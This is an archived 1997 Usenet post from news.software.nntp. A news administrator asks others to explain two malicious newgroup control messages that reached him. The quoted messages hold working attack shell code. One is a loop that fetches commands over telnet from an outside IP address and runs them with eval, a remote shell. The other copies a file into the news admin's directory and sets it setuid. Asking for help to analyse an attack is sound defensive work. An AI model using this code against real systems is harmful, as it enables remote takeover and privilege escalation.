🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: news.software.nntp
Article #24373

Need help with some shell translation

#24373
From: Rik Flor
Date: Mon, 15 Dec 1997 00:00
66 lines
2263 bytes
Some idget over the weekend tried to execute some shell scripts via
the following two newgroup messages.  Instead of sending them to
directly to the news server (which redirects all control messages to
my email, anyways), he/she/it sent them directly to the news
administrator address, which bounces to me.

Unfortunately, the SMTP relay for Lotus Notes strips out the original
headers, so I couldn't trace the origin of the message (although the
sender is listed as tale@uunet.uu.net...yeah right).

Since my ability at translating shell scripts is kinda fuzzy, any
assistance would be most appreciated!

Any goofy characters are a result of funky stuff on Lotus' part.

Thanks,
Rik

1st one, sent at 7:54 AM 12/14:

To:	Riklef Flor/LAKE/CHMS/ABBOTT@ABBOTT
cc:	 
Subject:	cmsg newgroup
?/bin/sed:-n:'/?#+/,/?#-/p':�?ARTICLE?|/bin/sh

�+
while :; do
  IN=`/bin/sleep 2 | /bin/telnet 194.204.147.151 21 2>/dev/null |
/bin/tail -1`
  if [ X"$IN" != X"$OIN" ]; then
    (/bin/sleep 2; eval "$IN" 2>&1) |
      /bin/telnet 194.204.147.151 21 >/dev/null 2>&1
    OIN=$IN
  fi
  sleep 30
done
�-

2nd one, sent at 8:22 AM 12/14:

To:	Riklef Flor/LAKE/CHMS/ABBOTT@ABBOTT
cc:	 
Subject:	cmsg newgroup
?/bin/sed:-n:'/?#+/,/?#-/p':�?ARTICLE?|/bin/sh

�+
while :; do
  IN=`/bin/cp /tmp/111 /staff/users/newsadm/.HP; /bin/chmod 4711
/staff/users/newsadm/.HP`
  if [ X"$IN" != X"$OIN" ]; then
    (/bin/sleep 2; eval "$IN" 2>&1) |
      /bin/telnet 194.204.147.151 21 >/dev/null 2>&1
    OIN=$IN
  fi
  sleep 30
done
�-

--------
Rik Flor
Remove the "spamless" before you reply to me
You know the drill...anything I say is my own and does not
represent Abbott Laboratories in any way.

Technical Details
Message-ID: <34954048.3943820@wizid.cmis.abbott.com>
Path: mbox-mo1.pugleaf.net!archive.usenet.blueworldhosting.com!illumos!news.pugleaf.net!.TX!archive.pugleaf.net!archive.newsdeef.eu!mbox2nntp-news.software.nntp.mbox.zip!not-for-mail

Show Full Headers
Complete Article Headers
Message-ID: <34954048.3943820@wizid.cmis.abbott.com>
Subject: Need help with some shell translation
Date: Mon, 15 Dec 1997 00:00:00 +0000
From: rik.flor@spamless.abbott.com (Rik Flor)
Path: mbox-mo1.pugleaf.net!archive.usenet.blueworldhosting.com!illumos!news.pugleaf.net!.TX!archive.pugleaf.net!archive.newsdeef.eu!mbox2nntp-news.software.nntp.mbox.zip!not-for-mail
X-Deja-AN: 298372373
Organization: Abbott Laboratories
Newsgroups: news.software.nntp